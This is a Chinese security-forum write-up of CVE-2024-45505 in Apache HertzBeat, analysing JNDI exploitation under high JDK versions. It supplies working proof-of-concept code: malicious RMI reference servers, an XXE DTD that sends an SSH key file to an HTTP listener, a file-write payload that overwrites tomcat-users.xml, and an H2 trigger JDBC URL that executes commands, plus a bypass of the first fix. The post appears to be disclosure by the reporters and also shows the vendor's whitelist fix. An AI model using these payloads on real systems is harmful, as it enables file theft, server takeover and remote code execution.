问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
高版本jdk下jndi攻击案例 apache-hertzbeat CVE-2024-45505
漏洞分析
今年我在补天白帽大会分享了我和springkill的研究成果《JNDI新攻击面探索》,这里以apache-hertzbeat CVE-2024-45505做一个列子,详细分析高版本jdk下的jndi利用。
### 0x01 简介 [Apache HertzBeat](https://github.com/apache/hertzbeat) (incubating) 是一个易用友好的开源实时监控告警系统,无需 Agent,高性能集群,兼容 Prometheus,提供强大的自定义监控和状态页构建能力。 ### 0x02 漏洞介绍 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-bfe96a8f6562f2fad3ec16934bcbe204024d8524.png) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-82f38b382ec710026561f14a4e5952e8422e9de5.png) 这里我和springkill在1.6.0版本给官方保送了两次,一个是xxe和文件写入,另一个为远程命令执行,合并到一起。 ### 0x03 漏洞分析 首先来看一下触发点,apacheHertzBeat后台是可以配置jmx去连接服务器获取服务器的各种配置信息的,也就是说我们可控jmx的连接配置。 org.apache.hertzbeat.collector.collect.jmx.JmxCollectImpl#getConnectSession ```java private JMXConnector getConnectSession(JmxProtocol jmxProtocol) throws IOException { ...... String url; if (jmxProtocol.getUrl() != null) { url = jmxProtocol.getUrl(); } else { url = JMX_URL_PREFIX + jmxProtocol.getHost() + ":" + jmxProtocol.getPort() + JMX_URL_SUFFIX; } ...... JMXServiceURL jmxServiceUrl = new JMXServiceURL(url); conn = JMXConnectorFactory.connect(jmxServiceUrl, environment); connectionCommonCache.addCache(identifier, new JmxConnect(conn)); return conn; } ``` 这里会从jmxProtocol获取url,然后JMXConnectorFactory.connect进行连接。但是系统为jdk17,显然是不能加载远程class的,所以我们可以给予本地reference进行利用。 #### xxe analysis 由于tomcat版本太高,导致beanFactory.noForceString,但是找到了MemoryUserDatabaseFactory来做xe和文件写入。 org.apache.catalina.users.MemoryUserDatabaseFactory ```java public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { if (obj != null && obj instanceof Reference) { Reference ref = (Reference)obj; if (!"org.apache.catalina.UserDatabase".equals(ref.getClassName())) { return null; } else { MemoryUserDatabase database = new MemoryUserDatabase(name.toString()); RefAddr ra = null; ra = ref.get("pathname"); if (ra != null) { database.setPathname(ra.getContent().toString()); } ra = ref.get("readonly"); if (ra != null) { database.setReadonly(Boolean.parseBoolean(ra.getContent().toString())); } ra = ref.get("watchSource"); if (ra != null) { database.setWatchSource(Boolean.parseBoolean(ra.getContent().toString())); } database.open(); if (!database.getReadonly()) { database.save(); } return database; } } else { return null; } ........ ``` 可以看到从ref获取到传递的值后,会调用database.open();如果readonly为false,则会调用database.save(); org.apache.catalina.users.MemoryUserDatabase#open ```java public void open() throws Exception { this.writeLock.lock(); try { this.users.clear(); this.groups.clear(); this.roles.clear(); String pathName = this.getPathname(); try { ConfigurationSource.Resource resource = ConfigFileLoader.getSource().getResource(pathName); try { this.lastModified = resource.getLastModified(); Digester digester = new Digester(); try { digester.setFeature("http://apache.org/xml/features/allow-java-encodings", true); } catch (Exception var13) { Exception e = var13; log.warn(sm.getString("memoryUserDatabase.xmlFeatureEncoding"), e); } digester.addFactoryCreate("tomcat-users/group", new MemoryGroupCreationFactory(this), true); digester.addFactoryCreate("tomcat-users/role", new MemoryRoleCreationFactory(this), true); digester.addFactoryCreate("tomcat-users/user", new MemoryUserCreationFactory(this), ``` 它根据路径名发起本地或者远程文件访问,并使用commons-digest解析返回的XML内容,所以这里可以进行XXE。 #### arbitrary file write analysis 如果 readonly 为 false,则调用 database.save()。 org.apache.catalina.users.MemoryUserDatabase#save ```java if (this.getReadonly()) { log.error(sm.getString("memoryUserDatabase.readOnly")); } else if (!this.isWritable()) { log.warn(sm.getString("memoryUserDatabase.notPersistable")); } else { File fileNew = new File(this.pathnameNew); if (!fileNew.isAbsolute()) { fileNew = new File(System.getProperty("catalina.base"), this.pathnameNew); } this.writeLock.lock(); try { try { FileOutputStream fos = new FileOutputStream(fileNew); try { OutputStreamWriter osw = new OutputStreamWriter(fos, StandardCharsets.UTF_8); try { PrintWriter writer = new PrintWriter(osw); try { writer.println("<?xml version='1.0' encoding='utf-8'?>"); writer.println("<tomcat-users xmlns=\"http://tomcat.apache.org/xml\""); writer.print(" "); writer.println("xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\""); writer.print(" "); writer.println("xsi:schemaLocation=\"http://tomcat.apache.org/xml tomcat-users.xsd\""); writer.println(" version=\"1.0\">"); Iterator<?> values = null; for(values = this.getRoles(); values.hasNext(); writer.println("/>")) { Role role = (Role)values.next(); writer.print(" <role rolename=\""); writer.print(Escape.xml(role.getRolename())); writer.print("\""); if (null != role.getDescription()) { writer.print(" description=\""); writer.print(Escape.xml(role.getDescription())); writer.print("\""); } } values = this.getGroups(); ....... ``` 可以发现,从pathname获取到的文件然后拼接上System.getProperty("catalina.base")进行写入,写入的是tomcat配置用户文件。也就是说,你可以控制生成文件的位置,导致文件被写入。 #### tomcat下的二次注入去命令执行 org.apache.hertzbeat.manager.Manager#init ```java public void init() { System.setProperty("jdk.jndi.object.factoriesFilter", "!com.zaxxer.hikari.HikariJNDIFactory"); } ``` 在1.6.0中,过滤了com.zaxxer.hikari.HikariJNDIFactory,所以我们需要找一个替代的类或者有什么办法去绕过这个检测。 最后发现在 tomcat 中发现 org.apache.naming.factory.FactoryBase,可导致二次引用注入,从而绕过针对 CVE-2023-51653 的修复,执行任意代码。 org.apache.naming.factory.FactoryBase#getObjectInstance ```java public final Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { if (this.isReferenceTypeSupported(obj)) { Reference ref = (Reference)obj; Object linked = this.getLinked(ref); if (linked != null) { return linked; } else { ObjectFactory factory = null; RefAddr factoryRefAddr = ref.get("factory"); if (factoryRefAddr != null) { String factoryClassName = factoryRefAddr.getContent().toString(); ClassLoader tcl = Thread.currentThread().getContextClassLoader(); Class<?> factoryClass = null; NamingException ex; try { if (tcl != null) { factoryClass = tcl.loadClass(factoryClassName); } else { factoryClass = Class.forName(factoryClassName); } } catch (ClassNotFoundException var14) { ClassNotFoundException e = var14; ex = new NamingException(sm.getString("factoryBase.factoryClassError")); ex.initCause(e); throw ex; } try { factory = (ObjectFactory)factoryClass.getConstructor().newInstance(); } catch (Throwable var15) { ...... } } else { factory = this.getDefaultFactory(ref); } if (factory != null) { return factory.getObjectInstance(obj, name, nameCtx, environment); } else { throw new NamingException(sm.getString("factoryBase.instanceCreationError")); } } } else { return null; } } ``` 这里我们可以控制工厂,并赋值给一个可利用的工厂,工厂会自动初始化,然后调用factory.getObjectInstance,这样就足够进行二次引用利用了。这里我们将工厂改为com.zaxxer.hikari.HikariJNDIFactory,绕过过滤检测,触发HikariJNDIFactory加载org.h2.Driver,从而触发任意代码执行漏洞。 com.zaxxer.hikari.HikariJNDIFactory#getObjectInstance ```java public synchronized Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { if (obj instanceof Reference && "javax.sql.DataSource".equals(((Reference)obj).getClassName())) { Reference ref = (Reference)obj; Set<String> hikariPropSet = PropertyElf.getPropertyNames(HikariConfig.class); Properties properties = new Properties(); Enumeration<RefAddr> enumeration = ref.getAll(); while(true) { RefAddr element; String type; do { if (!enumeration.hasMoreElements()) { return this.createDataSource(properties, nameCtx); } ...... } ``` com.zaxxer.hikari.HikariJNDIFactory#createDataSource ```java private DataSource createDataSource(Properties properties, Context context) throws NamingException { String jndiName = properties.getProperty("dataSourceJNDI"); return (DataSource)(jndiName != null ? this.lookupJndiDataSource(properties, context, jndiName) : new HikariDataSource(new HikariConfig(properties))); } ``` 这里调用createDataSource创建jdbc连接,从而触发h2加载任意代码。 在jdk17上是没有js引擎,所以h2调用js是走不通的。 #### h2withoutjs 执行代码 这里通过分析h2的流程成功找到不需要js也能执行的办法。 H2 在解析 init 参数时,会对 CreateTrigger 进行 LoadFromsource 特殊处理,根据内容开头判断是否由 Javasc Ript 引擎执行,如果以 //javascript/Nashorn/groovy 开头,则会编译 javascript/Nashorn /groovy引擎并执行。但根据我的研究,Create Trigger 时,我可以直接控制生成 Trigger 的代码,这样在不需要任何引擎都可以执行任何代码,在不限制 JDK 版本的情况下,无疑是巨大的风险。 org.h2.command.ddl.CreateTrigger#update ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-36da513503402e555e5f7930110f15fd19a8c618.png) 在创建JDBC连接的时候,如果设置了Trigger,那么就会创建TriggerObject。这里的Triggersource,TriggerName,我们都可以控制。 org.h2.schema.TriggerObject#setTriggerAction ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-5f004abbfe670861c6ccdbca0a00a4798e9a6323.png) 完成后会加载到这里 org.h2.util.SourceCompiler#getClass ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-1ee292ed17ce53f2de0ab840a4e8a6479fe310c6.png) 就是对一些类进行处理,最后利用Javac编译出恶意的Java代码 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-14e8fc896ffcfff99f7943e3e19ed3a062d2b22e.png) 将恶意的Trigger和Class放入Map中,最后使用LoadClass来加载这个恶意类。 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-449cf22379d3f159ac69679ae1a1189d056a8fdb.png) 这样就可以通过jmx返回一个二次reference去打jdbc利用。 ### 0x04 环境搭建以及复现 #### 搭建 这里我们可以直接在官网下载对应的二进制版本,[https://hertzbeat.apache.org/zh-cn/docs/download,然后在bin目录下执行](https://hertzbeat.apache.org/zh-cn/docs/download%EF%BC%8C%E7%84%B6%E5%90%8E%E5%9C%A8bin%E7%9B%AE%E5%BD%95%E4%B8%8B%E6%89%A7%E8%A1%8C) startup.sh启动即可。 访问http://localhost:1157开始,默认账户:admin/hertzbeat #### xxe 恶意 RMIServer Ref ```java import org.apache.naming.ResourceRef; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.Properties; public class rmiref { private static String command = "/System/Applications/Calculator.app/Contents/MacOS/Calculator"; public static ResourceRef exploit() { ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null); ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8080/exp.xml")); return ref; } public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1097); Properties props = new Properties(); props.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); props.put(Context.PROVIDER_URL, "rmi://localhost:1097"); Context context = new InitialContext(props); context.bind("Object", exploit()); context.close(); } } ``` 恶意的`ext.dtd` : ```xml <!ENTITY % bbb SYSTEM "file:///Users/snake/.ssh/id_rsa.pub"><!ENTITY % ccc "<!ENTITY % ddd SYSTEM 'http://127.0.0.1:8080?p=%bbb;'>"> ``` 恶意的`exp.xml` : ```xml <?xml version="1.0" encoding="UTF-8"?>%aaa;%ccc;%ddd;]> ``` 然后使用python创建一个http服务 在/API/Monitor/Detect接口提交数据,也就是监控项里的JVM虚拟机,填入**service:jmx:rmi:///jndi/rmi://ip:port/object**,http返回包会读取文件内容。 服务报错,然后读取文件内容。 ```http Failed to retrieve RMIServer stub: javax.naming.NamingException [Root exception is org.xml.sax.SAXParseException; systemId: http://127.0.0.1:8080?p=ssh-rsa%20XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXxx=%20XXXXXXXXXXXXXX@qq.com; lineNumber: 1; columnNumber: 3; The markup declarations contained or pointed to by the document type declaration must be well-formed.] ``` #### arbitrary file write poc 恶意 RMIServer Ref ```java import org.apache.naming.ResourceRef; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.Properties; public class rmiref { private static String command = "/System/Applications/Calculator.app/Contents/MacOS/Calculator"; public static ResourceRef exploit() { ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null); ref.add(new StringRefAddr("pathname", "/tmp/deadbeef")); ref.add(new StringRefAddr("readonly", "false")); return ref; } public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1097); Properties props = new Properties(); props.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); props.put(Context.PROVIDER_URL, "rmi://localhost:1097"); Context context = new InitialContext(props); context.bind("Object", exploit()); context.close(); } } ``` 在/API/Monitor/Detect接口提交数据,也就是监控项里的JVM虚拟机,填写**service:jmx:rmi:///jndi/rmi://ip:port/object**, 提交后会在/tmp中生成DeadBeef 如果本地环境变量里有catalina.base,我们就可以写入Tomcat-users.xml来接管Tomcat。 恶意RMIServer Ref ```java import org.apache.naming.ResourceRef; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.Properties; public class rmiref { private static String command = "/System/Applications/Calculator.app/Contents/MacOS/Calculator"; public static ResourceRef exploit() { ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null); ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../conf/tomcat-users.xml")); ref.add(new StringRefAddr("readonly", "false")); return ref; } public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1097); Properties props = new Properties(); props.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); props.put(Context.PROVIDER_URL, "rmi://localhost:1097"); Context context = new InitialContext(props); context.bind("Object", exploit()); context.close(); } } ``` tomcat-users.xml ```xml <tomcat-users> <role rolename="manager-gui"/> <role rolename="manager-script"/> <user username="tomcat" password="tomcat" roles="manager-gui"/> <user username="admin" password="123456" roles="manager-script"/> </tomcat-users> ``` 然后使用python创建一个http服务 org.apache.catalina.users.MemoryUserDatabase#save ```java fileNew = new File(System.getProperty("catalina.base"), this.pathnameNew); ``` 假设catalina.base=/usr/apache-tomcat-8.5.73/,pathname=<http://127.0.0.1:8888/../conf/TOMCAT-users.xml> 他们形成的文件路径是/usr/apache-tomcat-8.5.73/http:127.0.0.1:8888/../conf/tomcat-ssesers.xml getpaRentfile获取/usr/apache-tomcat-8.5.73/http:127.0.0.1:8888/../conf/ 这个在Windows下是没问题的,但是如果是Linux系统,则需要目录是必须存在的。 #### rce 由于org.apache.naming.factory.FactoryBase是抽象类,这里factory就填它的子类就行了。 它的四个子类。 ```java org.apache.naming.factory.EjbFactory org.apache.naming.factory.ResourceEnvFactory org.apache.naming.factory.ResourceFactory org.apache.naming.factory.TransactionFactory ``` 构造恶意引用并使其在 JNDI 连接时返回。 ```java import javassist.ClassPool; import javassist.CtClass; import org.apache.naming.ResourceRef; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.Properties; public class refrce { public static ResourceRef exploit() throws Exception { String url= "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER UNAM4 BEFORE SELECT ON\nINFORMATION_SCHEMA.TABLES AS $$ void UNAM4() throws Exception{ Runtime.getRuntime().exec(\"open -a calculator\")\\;}$$"; ResourceRef ref = new ResourceRef("javax.sql.DataSource", null,"","",true,"org.apache.naming.factory.ResourceFactory",null); ref.add(new StringRefAddr("factory", "com.zaxxer.hikari.HikariJNDIFactory")); ref.add(new StringRefAddr("driverClassName", "org.h2.Driver")); ref.add(new StringRefAddr("jdbcUrl", url)); return ref; } public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1097); Properties props = new Properties(); props.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); props.put(Context.PROVIDER_URL, "rmi://localhost:1097"); Context context = new InitialContext(props); context.bind("Object", exploit()); context.close(); } } ``` 在/API/Monitor/Detect接口提交数据,填写**service:jmx:rmi:///jndi/rmi://ip:port/object**,即可执行命令。 本来准备下版本交的,可是白名单了。利用LookupRef来进行二次注入 ```java import javassist.ClassPool; import javassist.CtClass; import org.apache.naming.LookupRef; import org.apache.naming.ResourceRef; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.Properties; public class refrce { public static Object exploit() throws Exception { String url= "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER UNAM4 BEFORE SELECT ON\nINFORMATION_SCHEMA.TABLES AS $$ void UNAM4() throws Exception{ Runtime.getRuntime().exec(\"open -a calculator\")\\;}$$"; LookupRef ref = new LookupRef("javax.sql.DataSource", "org.apache.naming.factory.LookupFactory", null, null); ref.add(new StringRefAddr("factory", "com.zaxxer.hikari.HikariJNDIFactory")); ref.add(new StringRefAddr("driverClassName", "org.h2.Driver")); ref.add(new StringRefAddr("jdbcUrl", url)); return ref; } public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); Properties props = new Properties(); props.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); props.put(Context.PROVIDER_URL, "rmi://localhost:1099"); Context context = new InitialContext(props); context.bind("Object", exploit()); context.close(); } } ``` ### 0x05 修复方式 官方直接使用暴力方式进行修复,采用白名单。 ```java private static final String[] WHITE_PRE_LIST = new String[]{ "java.", "javax.management.", "org.apache.hertzbeat.", "org.springframework.util.", "com.sun.", "sun.", "org.slf4j.", "jdk.", "org.w3c.dom." }; ``` 只允许以上面开头的类进行加载。 ### tips 其实现在已经很多系统都对reference进行检查,希望通过这个列子对大家实战中提供一遍帮助。 ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-53f94467555852e8f9e5512669a67c84d153531b.png) ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-a9d5f6f5f90743c62ee9268dac7ca510dce90e88.png) ### reference <https://lists.apache.org/thread/h8k14o1bfyod66p113pkgnt1s52p6p19> <https://tttang.com/archive/1405/>
发表于 2025-01-07 10:03:29
阅读 ( 812 )
分类:
Web应用
0 推荐
收藏
1 条评论
c铃儿响叮当
1秒前
泰酷辣
请先
登录
后评论
请先
登录
后评论
Unam4
2 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!